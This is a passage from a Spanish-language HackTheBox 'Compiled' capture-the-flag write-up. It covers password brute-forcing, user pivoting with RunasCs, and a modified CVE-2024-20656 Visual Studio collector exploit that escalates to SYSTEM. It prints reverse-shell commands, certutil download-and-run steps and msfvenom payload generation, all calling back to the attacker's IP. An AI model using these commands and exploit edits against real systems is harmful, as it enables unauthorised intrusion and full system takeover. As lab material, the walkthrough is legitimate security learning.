38            if (do_request(username, password) == True):
39                p.success("La madafakin contraseña es " + password)
40
41if __name__ == "__main__":
42    brute()
1$ python3 brute.py 
2[+] Bruteforcing...: La madafakin contraseña es 12345678

Bueno, ya sabemos que la contraseña es 12345678

Ahora con RunasCs.exe podemos pivotar de usuario, nos lo subimos en la máquina víctima.

1PS C:\Windows\temp\work> .\runascs.exe emily 12345678 cmd.exe -r 10.10.14.71:443
2
3[+] Running in session 0 with process function CreateProcessWithLogonW()
4[+] Using Station\Desktop: Service-0x0-24db497$\Default
5[+] Async process 'C:\Windows\system32\cmd.exe' with pid 3632 created in background.

Y conseguimos la shell como emily y la flag que está en C:\Users\Emily\Desktop\user.txt.

1$ sudo rlwrap -cEr nc -lvnp 443
2listening on [any] 443 ...
3connect to [10.10.14.71] from (UNKNOWN) [10.129.255.250] 51697
4Microsoft Windows [Version 10.0.19045.4651]
5(c) Microsoft Corporation. All rights reserved.
6
7C:\Windows\system32>whoami
8whoami
9compiled\emily

Privilege Escalation

Ahora, me paso el winpeas.exe para ejecutarlo como el usuario Emily.

1C:\Users\Emily\Desktop>certutil.exe -urlcache -f http://10.10.14.71:8000/winpeas.exe winpeas.exe
2certutil.exe -urlcache -f http://10.10.14.71:8000/winpeas.exe winpeas.exe
3****  Online  ****
4CertUtil: -URLCache command completed successfully.

Encontramos lo siguiente.

���������͹ Found NFS Exports Files
File: C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\Common7\IDE\CommonExtensions\Microsoft\Web\Exports

He necesitado ver una pista para conseguir la escalada…

Si ejecutamos powershell Get-Service, detectaremos la presencia de un servicio llamado VSStandardCollectorService150 Write-up Image

No quiero entrar en detalles de este exploit pero este artículo lo explica perfectamente.

Vamos a descargarnos este PoC

Al principio de main.cpp vemos esta línea de código.

1#include "def.h"
2
3WCHAR cmd[] = L"C:\\Program Files\\Microsoft Visual Studio\\2022\\Community\\Team Tools\\DiagnosticsHub\\Collector\\VSDiagnostics.exe";

Tenemos que cambiarla por la versión de Visual Studio de la máquina víctima.

 1C:\Program Files (x86)\Microsoft Visual Studio>dir
 2dir
 3 Volume in drive C has no label.
 4 Volume Serial Number is 352B-98C6
 5
 6 Directory of C:\Program Files (x86)\Microsoft Visual Studio
 7
 801/20/2024  11:13 AM    <DIR>          .
 901/20/2024  11:13 AM    <DIR>          ..
1001/29/2024  10:07 PM    <DIR>          2019
1101/20/2024  02:57 AM    <DIR>          Installer
1201/20/2024  03:04 AM    <DIR>          Shared
13               0 File(s)              0 bytes
14               5 Dir(s)  10,079,305,728 bytes free

Entonces lo cambiamos… WCHAR cmd[] = L"C:\\Program Files (x86)\\Microsoft Visual Studio\\2019\\Community\\Team Tools\\DiagnosticsHub\\Collector\\VSDiagnostics.exe";

Luego, tenemos la función cb1

1void cb1()
2{
3    printf("[*] Oplock!\n");
4    while (!Move(hFile2)) {}
5    printf("[+] File moved!\n");
6    CopyFile(L"c:\\windows\\system32\\cmd.exe", L"C:\\ProgramData\\Microsoft\\VisualStudio\\SetupWMI\\MofCompiler.exe", FALSE);
7    finished = TRUE;
8}

Esta función es la responsable de copiar un archivo hasta que la instrucción de mover un archivo anterior sea satisfactoria, por lo cual, podemos modificar esta función para copiar nuestra reverse shell en vez de ejecutar cmd.exe

Modificamos la línea… CopyFile(L"c:\\windows\\temp\\shell.exe", L"C:\\ProgramData\\Microsoft\\VisualStudio\\SetupWMI\\MofCompiler.exe", FALSE);

Ahora vamos a compilar el exploit. Importante hacerlo en el modo Release y no Debug Write-up Image

Nos descargamos el exploit en la máquina víctima

1C:\Windows\Temp>certutil.exe -urlcache -f -split http://10.10.14.71:8000/Expl.exe Expl.exe
2certutil.exe -urlcache -f -split http://10.10.14.71:8000/Expl.exe Expl.exe
3****  Online  ****
4  000000  ...
5  029000
6CertUtil: -URLCache command completed successfully.

Generamos con msfvenom la reverse shell.

1$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.71 LPORT=443 -f exe -o shell.exe
2[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
3[-] No arch selected, selecting arch: x64 from the payload
4No encoder specified, outputting raw payload
5Payload size: 460 bytes
6Final size of exe file: 7168 bytes
7Saved as: shell.exe

Nos lo descargamos en la máquina víctima

1C:\Windows\Temp>certutil.exe -urlcache -f -split http://10.10.14.71:8000/shell.exe shell.exe
2certutil.exe -urlcache -f -split http://10.10.14.71:8000/shell.exe shell.exe
3****  Online  ****
4  0000  ...
5  1c00
6CertUtil: -URLCache command completed successfully.

Nos ponemos en escucha con netcat

1$ sudo rlwrap -cEr nc -lvnp 443
2listening on [any] 443 ...

Ejecutamos el exploit…

 1C:\Windows\Temp>.\Expl.exe
 2.\Expl.exe
 3[+] Junction \\?\C:\307146c8-446d-4e27-989d-f86f0c401466 -> \??\C:\dbb62632-3557-4fa5-857a-f8f680171122 created!
 4[+] Symlink Global\GLOBALROOT\RPC Control\Report.0197E42F-003D-4F91-A845-6404CF289E84.diagsession -> \??\C:\Programdata created!
 5[+] Junction \\?\C:\307146c8-446d-4e27-989d-f86f0c401466 -> \RPC Control created!
 6[+] Junction \\?\C:\307146c8-446d-4e27-989d-f86f0c401466 -> \??\C:\dbb62632-3557-4fa5-857a-f8f680171122 created!
 7[+] Symlink Global\GLOBALROOT\RPC Control\Report.0297E42F-003D-4F91-A845-6404CF289E84.diagsession -> \??\C:\Programdata\Microsoft created!
 8[+] Junction \\?\C:\307146c8-446d-4e27-989d-f86f0c401466 -> \RPC Control created!
 9[+] Persmissions successfully reseted!
10[*] Starting WMI installer.
11[*] Command to execute: C:\windows\system32\msiexec.exe /fa C:\windows\installer\8ad86.msi
12[*] Oplock!
13[+] File moved!

¡Y ya hemos escalado privilegios!

1$ sudo rlwrap -cEr nc -lvnp 443
2listening on [any] 443 ...
3connect to [10.10.14.71] from (UNKNOWN) [10.129.255.250] 51726
4Microsoft Windows [Versi�n 10.0.19045.4651]
5(c) Microsoft Corporation. Todos los derechos reservados.
6
7C:\ProgramData\Microsoft\VisualStudio\SetupWMI>whoami
8whoami
9nt authority\system

Máquina que sinceramente ha sido muy tediosa, y la mejor parte en mi opinión es lo que he aprendido de Git, la escalada de privilegios para mí ha sido un poco bastante tediosa para ser una máquina de dificultad media.

Happy Hacking! 🚀

#HackTheBox   #Compiled   #Writeup   #Cybersecurity   #Penetration Testing   #CTF   #Gitea   #Command Injection   #Exploit Development   #Privilege Escalation   #Exploit   #Windows   #HTTP Enumeration   #Information Disclosure   #Weaponizing Visual Studio Project   #CVE-2024-32002   #RCE   #Pbkdf2 Hash Cracking   #Scripting   #Python Scripting   #Gitea Bruteforce   #User Pivoting   #VSStandardCollectorService150 Service   #CVE-2024-20656